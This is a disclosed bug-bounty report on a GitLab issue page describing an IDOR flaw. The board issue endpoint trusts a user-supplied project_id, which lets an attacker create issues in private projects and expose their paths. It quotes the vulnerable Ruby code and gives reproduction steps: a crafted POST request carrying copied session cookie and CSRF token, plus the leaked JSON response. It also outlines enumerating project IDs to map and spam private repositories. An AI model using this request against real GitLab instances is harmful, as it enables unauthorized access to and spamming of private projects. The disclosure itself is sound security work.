Skip to content

IDOR - Create issues in any project via the Boards::IssuesController

HackerOne report #1685105 by vakzz on 2022-08-30:

Report | How To Reproduce

Report

Summary

When creating an issue for a board list, the authorization check is done on the board parent but the issue is then created with a user supplied project_id parameter which can point to any project id.

Relevant sections from https://gitlab.com/gitlab-org/gitlab/-/blob/v15.3.1-ee/app/controllers/concerns/boards_responses.rb

    def project  
      [@]project ||= if board.group_board?  
                     Project.find(issue_params[:project_id])  
                   else  
                     board_parent  
                   end  
    end

  def authorize_create_issue  
    list = List.find(issue_params[:list_id])  
    action = list.backlog? ? :create_issue : :admin_issue

    authorize_action_for!(project, action)  
  end

    def issue_params  
      params.require(:issue)  
        .permit(:title, :milestone_id, :project_id)  
        .merge(board_id: params[:board_id], list_id: params[:list_id])  
    end  

The supplied project argument is merged into the issue params, but the existing project_id seems to take precedence so the project is ignored:

https://gitlab.com/gitlab-org/gitlab/-/blob/v15.3.1-ee/app/services/issues/build_service.rb#L10

    def execute  
      filter_resolve_discussion_params

      [@]issue = model_klass.new(issue_params.merge(project: project)).tap do |issue|  
        ensure_milestone_available(issue)  
      end  
    end  

The spam check is also disabled when creating issues this way as the spam_params are nil:
https://gitlab.com/gitlab-org/gitlab/-/blob/v15.3.1-ee/app/services/boards/issues/create_service.rb#L35

      def create_issue(params)  
        # NOTE: We are intentionally not doing a spam/CAPTCHA check for issues created via boards.  
        # See https://gitlab.com/gitlab-org/gitlab/-/issues/29400#note_598479184 for more context.  
        ::Issues::CreateService.new(project: project, current_user: current_user, params: params, spam_params: nil).execute  
      end  

This allows an attacker to create an issue in any private/public project by supplying its ID, and get a serialized IssueEntity returned which including the project path/path_with_namespace.

An attacker could also iterate through a large number of IDs to map project ids to namespaces and spam issues in private projects.

The initial idea to use this bug was to try and discover the project id of the current gitlab ctf challenge (https://about.gitlab.com/blog/2022/08/24/capture-the-flag-in-our-bug-bounty-program/). While I believe this would be possible, it would also spam a lot of legitimate customers by creating issues in their private repos so I have not tried it. Using some very rough maths on some public group ids either side of the ctf group puts the ctf project id around 38019468 which could be a starting point when using this bug and iterate either side.

Steps to reproduce
  1. As the victim user, create a new private project and note the id
  2. As the attacker, create a new project
  3. Go to Project information -> Labels and create a new label
  4. Make sure Burp/Caido is running
  5. Go to issues -> boards and create a new list using this label
  6. Looking at the graphql api call for createBoardListEE you should see the board id in the request and the list id in the response
  7. Copy the x-csrf-token and Cookie header (or just the _gitlab_session cookie) from the last request
  8. Create a new post request to /-/boards/BOARD_ID/lists/LIST_ID/issues with the params issue[title]=a and issue[project_id]=VICTIM_PROJECT_ID with the copied cookie and csrf token
  9. An issue will have been created in the victims project and you will receive a serialized version:
POST /-/boards/4695757/lists/13048891/issues HTTP/1.1  
Host: gitlab.com  
x-csrf-token: xxx  
Cookie: _gitlab_session=xxx  
Content-Length: 41

issue[title]=a&issue[project_id]=38989626


{  
  "id": 114143854,  
  "iid": 1,  
  "title": "a",  
  "confidential": false,  
  "due_date": null,  
  "project_id": 38989626,  
  "relative_position": null,  
  "time_estimate": 0,  
  "closed": false,  
  "project": {  
    "id": 38989626,  
    "path": "super_secret",  
    "path_with_namespace": "wbowling/super_secret"  
  },  
  "assignees": [],  
  "labels": [  
    {  
      "id": 26639871,  
      "title": "aaa",  
      "color": "#6699cc",  
      "description": "",  
      "text_color": "#FFFFFF",  
      "priority": null  
    }  
  ],  
  "reference_path": "#1",  
  "real_path": "/wbowling/super_secret/-/issues/1",  
  "issue_sidebar_endpoint": "/wbowling/super_secret/-/issues/1.json?serializer=sidebar_extras",  
  "toggle_subscription_endpoint": "/wbowling/super_secret/-/issues/1/toggle_subscription",  
  "assignable_labels_endpoint": "/wbowling/super_secret/-/labels.json?include_ancestor_groups=true",  
  "type": "ISSUE",  
  "blocked": false  
}
Impact

Allows an attacker to create issues in private repositories they do not have access to and to iterate through project ids to discover the projects group and path.

Examples

Victim project - https://gitlab.com/wbowling/super_secret/-/issues
Attacker (https://gitlab.com/vakzz-h1) used the board https://gitlab.com/-/boards/4695757/lists/13048891/issues to create issues in the project above

What is the current bug behavior?

The project_id parameter is unchecked and ends up taking precedence over the project param

What is the expected correct behavior?

The project_id probably does not need to be passed down to the create service

Relevant logs and/or screenshots
Output of checks

This bug happens on GitLab.com

Impact

Allows an attacker to create issues in private repositories they do not have access to and to iterate through project ids to discover the projects group and path.

How To Reproduce

Please add reproducibility information to this section: